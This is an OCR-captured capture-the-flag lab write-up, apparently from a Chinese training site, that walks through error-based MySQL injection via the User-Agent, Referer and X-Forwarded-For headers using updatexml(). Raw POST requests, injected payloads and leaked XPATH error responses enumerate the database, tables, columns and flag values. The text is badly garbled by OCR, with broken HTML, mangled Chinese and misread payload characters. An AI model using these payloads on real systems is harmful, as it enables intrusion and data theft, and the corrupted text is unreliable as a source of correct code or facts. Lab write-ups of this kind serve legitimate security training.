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updatexml() B FxmISCAA R E0EEE: updatexml( B FRxmlA 2, xmISCASEEE, BEHEFINE) Ox7e St fl B, mysqlSZRe+7S kil g

Wi #s

| Raw | = | 5 [ Hex |

'OST /Pass-07/index.php HTTP/1.1
{ost: injectx1.lab.aglab.cn:B1
;ontent-Length: 58

;ache-Control: max-age=0

Ipgrade-Insecure-Requests: 1

Jser-Agent:1' or updatexml(1,(concati0x7 e (select database()))), 1)#|
Jrigin: http:/finjectc«1.lab.aglab.cn:81

;ontent-Type: applicationfe-waw-form-urlencoded

lccept:

ext/html, applicationfhtmi+xml, applicationfml;q=0.9,imagefavif.image/webp,image/apng,”/
ion/signed-exchange;v=b3;q=0.9

teferer: hitp:finjectx1.lab.aqlab.cn:81/Pass-07/index.php
wcceptEncoding: gzip, deflate

wccept-Language: zh-CN,zh;q=0.9

ronnection: close

isername=admin&password=1234508submit=%E7 %20 %BEE%ES%BED %95

s

<h3> T FE </h3> <p>fif) A Eaf ik &2 B 5 </p>
</li>
<li>
“form action="index.php" name="form1" method="post">
<div style="margin-top:15px; height30px;">Username : &nbsp;&nbsp;&nbsp;

<input type="text' name="usemame" value="">
</div>
<div® Password : &nbsp;&nbsp;&nbsp;
input type="text" name="password" value="">
</div><br>
<div style=" margin-top:9px;margin-left:90px;">
input type="submit' name="submit" value="1; ;">
</div>
</form=
<font size="5" ¢olo="#00F FOO" >[5 2 i ) User-Agent = </font><h2>1' or updatexmi(1 (concat(OxTe (select
database())]),1)F</h2>
<fliz<liz<h3> T ilFS P </hI=><fliz<)i>

XPATH symtax errorIi><h3>J|E,Jjjif:?i<.l‘h3><ﬂi><fnnt size="5" colo="#90FF00">Your Login

name:admin<br>Your Password: 123456 </font> <liz
<lol>
</div>
or 1 Ox7e, (select 1),1 d

3. BarEERA:



or updatexml(1,concat(@x7e, (select table name from information_schema.tables where table_schema=database limi

it 0,1 1),1 qwe
or updatexml(1,concat(@x7e, (select group concat(table name) from information_schema.tables where table_schema

database 1),1 qwe

HEHRA

«form action="index.php" name="form1" method="post">
<div style="margin-top:15px; height:30px;"*Username : &nbsp,;&nbsp;&nbsp;
finput type="text" name="usemame" value="">
</div=
<div* Password : &nbsp;&nbsp;&nbsp;
<input type="text" name="password" value="">

fdiv=<brs
<div style=" margin-top:8px;margin-left:90px;">
<input type="submit' name="submit"' value="1 ">
</div>
<fform>

<font size="5" colo="#00F FOO"> 15 X lij fF)User-Agent #: </font><h2>' or updatexml(1,concat(0xTe (select table_name
from information_schema tables where table_schema=database()limit 0,1)),1),1) -- gwe</h2>
<fliz<liz<h3I> P iMES P </h3z</liz<li>

¥

XPATH syrtax error:[~flag_head'qdli><h3> XN 8 </h3 > <fli><font size="5" color="#00FF00">Your Login

name:admin<br:Your Password . T23456</Ton <liz
<fol>

</dive

</dive

<h3> FFH</h3> <p>fi A EMN I S St <p>
</li»
€|ji>»
2form action="index.php" name="form1" method="post">
<div style="margin-top:15px; height:30px.">Username : &nbsp;&nbsp;&nbsp;
Zinput type="text" name="usemame" value="">
</div>
<div® Password : &nbsp,&nbsp;&nbsp;
<input type="text" name="password" value="">
</div><br>
<div style=" margin-top:@px;margin-left:290px;">
<input type="submit' name="submit" value="1; ">
</div>
</form>
<font size="5" colo="#29FFOD"> 15 X lij {f)User-Agent 7= </font><h2>' or updatexml(1,concat(0xTe [select
group_concat(table_name ) from infor mation_schema tables where table_schema=database())),1),1) -- gwe</h2>
</li><li><h3> ¥ ifF5 R :</h3></liz<li>

XPATH syntax error:l"fl ag_head ip refer ‘uagent‘user‘ld i><h3> eI </h3> </li><font size="5" colo="#99FFDOD'
Login name:admin<br>Your Password: 123456 </fant> <li»
<fol>

<fdive

flag_head 2. ip 3.refer4. uagent 5.user
4 BEFRA

' or updatexml(1,concat(®x7e, (select column_name from information_schema.columns where table schema=database()

and table name='flag head' limit 0,1)),1),1) -- qwe
' or updatexml(1,concat(®x7e, (select column_name from information_schema.columns where table schema=database()

and table name='flag head' limit 1,1)),1),1) -- qwe




BEHTA SR &I, flag_h1
5.0 J5 & H AARHE

' or updatexml(1,concat(@x7e,(select flag hl from flag head limit 0,1

</li=
<|i»
<form action="index.php" name="form1" method="post">
<div style="margin-top:15px; height30px;">Username : &nbsp;&nbsp;&nbsp;
<input type="text' name="usemame" value="">
</div=
2div® Password : &nbsp;&nbsp;&nbsp;
<input type="text" name="password" value="">
<idive<bre
<div style=" margin-top:8px;margin-left:90 px;">
<input type="submit' name="submit' value="1 ">
</div>
<fform>
<font size="5" colo="#90F FOD" > 2lij ) User-Agent 7= </font><h2>' or updatexml(1,concat(0xTe [select flag_h1from
flag_head limit 0,1)),1),1) - gqwe</h2>
<fliz<liz<h3> Wil P </h3><lliz<liz

XPATH syntax errorf '~zKaQ-Your Hd'kli> <h3> AL N 8 St </h3></li> <font size="5" colo="#99FF00">Your Login
name:admin<brzYour Password: 123456 </font> <li»

elal>

B RREN
ZKaQ-YourHd,zKaQ-Refer,zKaQ-ip WiE A5 —4>

HEAD: A—3212

1128k, R burpsuitedUe, HAH R RefererB & BN EiE A KIsqliE A
2 fErepeatertGo— T, B AW A EECKEBIET, WAEIHES KR R ERE
3 E W ALIE E LK

' or updatexml(1,concat(@x7e,(select database 1),1)#

4 HhRA

' or updatexml(1,concat(@x7e, (select group concat(table name) from information_schema.tables where table_ schema

database 1),1)#

5HMFEBA

flag_head’ 1),1)#

6. & A AL R

' or updatexml(1,concat(@x7e,(select group_concat(flag hl) from flag head

HEAD: A—3213

1. BRI R MR FEZRBH - RIP R T 242 BSRIKEH 7 1IP
2. AT DOEEE A AR — AN FEEE B T T IRHA P P2 ZHTTP_X_FORWARDED_FORZE.
3. BFEAPAE ZFEREN RATESIE G+ B i % FBX-Forwarded-For



X-Forwarded-For

[RawT?!ﬁ! Tﬂ:THu]

|
POST /P ass-09/index.php HTTP/1 .1
Host injectx1.lab.aqlab.cn:81
Content-Length 56
Cache-Control max-age=0
Upgrade-Insecure-Requests 1
Crigin http:/finjectx1.lab.aglab.cn:81
Content-Type applicationfewvann-form-urlencoded
User-Agent Mozilla/5.0 (Windows NT 10.0; WinG4; xG4) AppleWebKit'537 .36 (KH...
Accept text/html,application/xhtml+xml,applicationfaml;q=0.9,image/avif,im...
Referer http:/finjectx1.lab.aglab.cn:81/P ass-09/index.php
AcceptEncoding gzip, deflate
AcceptLanguage zh-CN,zh;gq=0.9
Connection close
X-Fomwarded-For " orupdatexmli(1,concati0x7 e (select database())),1),1#

username=adminépassword=1234568submit=%E7 %90 %BE%ES%BED %95

4. BRBIEE

XPATH syntax error: '"~head_error'<|i><h3> LI £F 3¢

" or updatexml(1,concat(0x7e,(select database())),1),1)#

5 HMJEH

" or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where

<fliz<lis<h3>MW ML P </h3=<lliz<li>
XPATH syntax error: '~flag_head,ip refer uagent user'<li=<h3>|

QAFFNN">Yaur | anin nama admindhriaYour Passwnrd 123488 <fnn
table_schema=database())),1),1)#

6. HEiflTBA

" or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()
and table_name=‘flag_head’)),1),1)#

XPATH syrtax error: '~Id flag_h1'<liz<h
adhraVair PaseswmrAd- 1294688 ¢ Fant>



7. EWHEAEEE

" or updatexmi(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

XPATH syrtax error: '~zKaQ-YourHd zKaQ-Refer zKaQ-ipi'<

8. —/MlagH-FRzKaQ-ipi, FJEERKEARG, EHIARL

'or updatexml(1,concat(@x7e, (select flag hl from flag head limit 2,1)),1),1) #
zZKaQ-ipip

XPATH syrtax error: '~zKaQ-ipip'<
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